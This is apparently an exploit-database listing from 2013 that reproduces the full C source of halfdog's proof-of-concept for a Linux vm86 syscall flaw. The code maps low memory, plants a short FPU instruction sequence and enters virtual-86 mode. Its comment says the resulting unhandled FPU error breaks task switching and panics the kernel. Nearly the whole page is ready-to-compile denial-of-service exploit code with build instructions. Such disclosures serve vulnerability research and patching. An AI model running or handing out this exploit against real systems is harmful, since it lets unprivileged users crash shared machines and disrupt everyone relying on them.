VM86 Syscall Kernel Panic



EKU-ID: 3746 CVE: OSVDB-ID:
Author: halfdog Published: 2013-12-31 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2013 halfdog <me (%) halfdog.net>
 *
 *  This progam maps memory pages to the low range above 64k to
 *  avoid conflicts with /proc/sys/vm/mmap_min_addr and then
 *  triggers the virtual-86 mode. Due to unhandled FPU errors,
 *  task switch will fail afterwards, kernel will attempt to
 *  kill other tasks when switching.
 *
 *  gcc -o Virtual86SwitchToEmmsFault Virtual86SwitchToEmmsFault.c
 *
 *  See http://www.halfdog.net/Data/var/www/www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>


static const char *DEDICATION="To the most adorable person met so far.";


static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
  fprintf(stderr, "Handling signal\n");
}


void runTest(void *realMem) {
  struct vm86plus_struct vm86struct;
  int  result;

  memset(&vm86struct, 0, sizeof(vm86struct));
  vm86struct.regs.eip=0x0;
  vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
  vm86struct.regs.eflags=0x3002;

  vm86struct.regs.esp=0x400;
  vm86struct.regs.ss=0x1000;
  vm86struct.regs.ebp=vm86struct.regs.esp;
  vm86struct.regs.ds=0x1000;
  vm86struct.regs.fs=0x1000;
  vm86struct.regs.gs=0x1000;
  vm86struct.flags=0x0L;
  vm86struct.screen_bitmap=0x0L;
  vm86struct.cpu_type=0x0L;
 
  alarm(1);
 
  result=vm86(VM86_ENTER, &vm86struct);
  if(result) {
    fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
        strerror(errno));
  }
}


int main(int argc, char **argv) {
  struct sigaction sigAction;

  int  realMemSize=1<<20;
  void  *realMem;
  int  result;

  sigAction.sa_sigaction=handleSignal;
  sigfillset(&sigAction.sa_mask);
  sigAction.sa_flags=SA_SIGINFO;
  sigAction.sa_restorer=NULL;
  sigaction(SIGILL, &sigAction, NULL); // 4
  sigaction(SIGFPE, &sigAction, NULL); // 8
  sigaction(SIGSEGV, &sigAction, NULL); // 11
  sigaction(SIGALRM, &sigAction, NULL); // 14

  realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  if(realMem==(void*)-1) {
    fprintf(stderr, "Failed to map real-mode memory space\n");
    return(1);
  }

  memset(realMem, 0, realMemSize);
  memcpy(realMem, "\xda\x44\x00\xd9\x2f\xae", 6);

  runTest(realMem);
}